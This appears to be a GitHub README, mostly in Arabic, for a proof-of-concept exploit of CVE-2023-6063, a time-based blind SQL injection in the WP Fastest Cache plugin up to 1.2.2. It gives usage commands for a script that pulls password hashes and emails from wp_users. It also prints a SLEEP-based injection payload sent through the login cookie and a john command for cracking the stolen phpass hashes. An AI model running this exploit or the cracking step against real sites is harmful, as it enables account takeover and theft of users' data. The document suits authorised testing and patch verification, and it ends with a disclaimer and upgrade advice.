incommatose/cve-2023-6063-pocإثبات مفهوم لـ CVE-2023-6063، ثغرة حقن SQL أعمى زمني في WP Fastest Cache ≤1.2.2.
إثبات مفهوم لـ CVE-2023-6063، وهي ثغرة حقن SQL أعمى تعتمد على الوقت في WP Fastest Cache ≤1.2.2. تستخرج كلمات المرور المجزأة (user_pass) والبريد الإلكتروني (user_email) من جدول wp_users عن طريق إساءة استخدام كوكي wordpress_logged_in.
يقوم هذا البرنامج النصي باستخراج:
قم بتثبيت التبعيات (إذا لم تكن مثبتة):
-red){kind=icon}
pip install -r requirements.txt
الاستخدام الأساسي:
python3 poc.py -u https://vulnerable-website.com --username admin --delay 5
الخيارات الكاملة:
-h, --help show this help message and exit
-u URL, --url URL Full URL to Wordpress for testing CVE-2023-6063
--username USERNAME Define a user to extract its hashed pass
-d DELAY, --delay DELAY
Time for wait web response default 5, minimum 2
-H HASH, --hash HASH Hash to verify against wp_users table, if the hash contains specials characters, please use single quotes -> '<hash>'
--domain DOMAIN Name of the domain for email validation
-c COOKIE, --cookie COOKIE
Specify a cookie name if it's different on your context
--status-code STATUS_CODE
Use a specific positive status code, default 200
--debug More verbosity
--just-hash Just extract hashed password
--just-email Just extract email value for a user
هذا عرض توضيحي للمستخدم admin
https://github.com/user-attachments/assets/21ea643d-3b11-401f-813f-b85abdb05890
عند تسريب تجزئات كلمات المرور، استخدم john أو hashcat لفك تشفيرها باستخدام خوارزمية PHPass إذا كانت كلمة المرور ضعيفة.
مثال باستخدام john:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=phpass
إن إضافة WP Fastest Cache (≤1.2.2) لووردبريس معرضة لثغرة حقن SQL أعمى غير موثقة عبر كوكي wordpress_logged_in. يمكن للمهاجمين استغلال هذه الثغرة لاستخراج بيانات حساسة (مثل تجزئات كلمات المرور، عناوين البريد الإلكتروني) من جدول wp_users باستخدام تأخيرات زمنية (SLEEP()) في استعلامات SQL.
" AND (IF((SELECT user_pass FROM wp_users WHERE user_login="admin") LIKE 'a%', SLEEP(5), 0))-- -
🚨 إخلاء مسؤولية: استخدم هذه المعلومات فقط لاختبار الأمان الأخلاقي بتفويض مناسب. الاستغلال غير المصرح به غير قانوني.
قم بترقية WP Fastest Cache إلى إصدار >1.2.2.